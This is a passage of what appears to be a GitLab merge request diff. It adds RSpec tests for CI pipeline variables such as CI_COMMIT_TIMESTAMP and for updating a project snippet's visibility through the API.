{ key: 'CI_BUILD_BEFORE_SHA', value: build.before_sha, public: true, masked: false },
{ key: 'CI_BUILD_REF_NAME', value: build.ref, public: true, masked: false },
......
......@@ -715,6 +715,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
CI_COMMIT_TITLE
CI_COMMIT_DESCRIPTION
CI_COMMIT_REF_PROTECTED
CI_COMMIT_TIMESTAMP
CI_BUILD_REF
CI_BUILD_BEFORE_SHA
CI_BUILD_REF_NAME
......
......@@ -329,6 +329,13 @@ RSpec.describe API::ProjectSnippets do
expect(snippet.description).to eq(new_description)
end
it 'updates snippet with visibility parameter' do
expect { update_snippet(params: { visibility: 'private' }) }
.to change { snippet.reload.visibility }
expect(snippet.visibility).to eq('private')
end
it 'returns 404 for invalid snippet id' do
update_snippet(snippet_id: non_existing_record_id, params: { title: 'foo' })
......@@ -340,6 +347,7 @@ RSpec.describe API::ProjectSnippets do
update_snippet
expect(response).to have_gitlab_http_status(:bad_request)
expect(json_response['error']).to eq 'title, file_name, content, visibility are missing, at least one parameter must be provided'
end
it 'returns 400 if content is blank' do
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment